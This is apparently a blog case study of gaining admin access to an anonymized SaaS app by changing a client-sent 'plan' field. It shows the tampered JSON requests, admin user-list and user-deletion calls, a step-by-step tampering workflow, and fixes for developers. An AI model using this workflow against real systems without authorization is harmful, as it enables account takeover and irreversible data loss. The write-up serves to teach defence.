This Is How I Hacked an Admin Panel Using Parameter Tampering

spyboy's avatarPosted by

(Privilege Escalation via Trusting Client Input – Educational Case Study)

Disclaimer
This write-up is for educational and defensive purposes only.
All endpoints, parameters, roles, and identifiers are fully anonymized.
No real system was harmed.
This article demonstrates how parameter tampering leads to admin access without admin credentials.


Why Parameter Tampering Is Still Devastating in 2025

Many people think parameter tampering is:

  • Old-school
  • Low impact
  • Already fixed everywhere

That belief is dangerously wrong.

🔥 Parameter tampering is often the last missing piece between a normal user and full admin control.

This post shows how I reached admin-level functionality
➡️ without admin login
➡️ without role change in database
➡️ without exploiting auth directly

Just by changing what the server trusted.


Target Overview (Anonymized)

  • Type: SaaS web application
  • Roles:
    • user
    • staff
    • admin
  • Auth: JWT-based
  • Frontend: SPA (React-like)
  • Backend: REST API

Phase 1: Spotting the Role Logic Leak

After logging in as a normal user, I inspected my JWT:

{
  "user_id": 2194,
  "role": "user",
  "plan": "free"
}

Nothing interesting… until I looked at requests, not tokens.


Phase 2: The Suspicious Request

When visiting Account Settings, the frontend sent:

POST /api/user/update HTTP/1.1
Authorization: Bearer <JWT>
Content-Type: application/json

{
  "email": "me@example.com",
  "plan": "free"
}

🚩 Red Flag:
Why is plan coming from the client?


Phase 3: The Classic Test (One-Line Change)

I sent the same request via Burp Repeater, but modified one value:

{
  "email": "me@example.com",
  "plan": "admin"
}

Response:

{
  "status": "updated"
}

No error.
No validation.

At this point, I didn’t assume admin access.
I verified it.


Phase 4: Checking for Privilege Drift

I refreshed the dashboard.

New menu item appeared:

Admin Dashboard

😐
The UI adapted based on server response.

This confirmed:

Role/plan was being trusted from user input


Phase 5: Direct Admin Endpoint Access

Now I tested admin-only APIs.

GET /api/admin/users HTTP/1.1
Authorization: Bearer <JWT>

Response:

[
  { "id": 1, "email": "admin@hidden.com" },
  { "id": 2, "email": "user@hidden.com" }
]

This was not a UI bug.

This was full admin access.


Phase 6: The Real Damage (Write Operations)

Read access is bad.

Write access ends companies.

I tested carefully:

POST /api/admin/user/delete HTTP/1.1
Authorization: Bearer <JWT>
Content-Type: application/json

{
  "user_id": 2201
}

Response:

{ "status": "deleted" }

That’s irreversible.


Root Cause (The Real Mistake)

❌ What the Backend Did

  • Accepted role / plan from client
  • Used it directly for authorization
  • Didn’t cross-check with database

This is trusting user-controlled parameters for access control.


✅ What Should Have Been Done

Roles must be:

  • Stored server-side
  • Immutable via user endpoints
  • Verified on every request

Correct pattern:

role = db.get_user_role(request.user.id)
if role != "admin":
    deny()


Why This Happens in Real Teams

Because:

  • Developers reuse DTOs
  • Frontend models mirror backend models
  • “Hidden fields” are assumed safe
  • Testing is UI-based, not API-based

Attackers live below the UI.


How I Systematically Find Parameter Tampering

This is my exact workflow:

1️⃣ Identify mutable fields

  • role
  • plan
  • is_admin
  • permissions
  • price
  • status

2️⃣ Modify them

  • String → higher privilege
  • Boolean → true
  • Number → negative / large

3️⃣ Observe backend behavior

  • Silent success = exploit
  • Validation error = good sign

Tools Used

ToolWhy
Browser DevToolsIdentify parameters
Burp SuiteTampering
RepeaterControlled escalation
BrainAlways

Severity Analysis

AspectImpact
Privilege escalationCritical
Data lossHigh
Business impactSevere
DetectionLow

Severity:

Critical – Full Administrative Takeover


Defensive Checklist (Developers, Read This)

  • ❌ Never trust client-sent roles
  • ❌ Never trust hidden fields
  • ✅ Enforce role server-side
  • ✅ Validate allowed field updates
  • ✅ Separate user & admin models

Final Thoughts

This wasn’t exploitation.

This was permission abuse.

The server allowed it.

And that’s why these bugs survive code reviews.


Leave a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.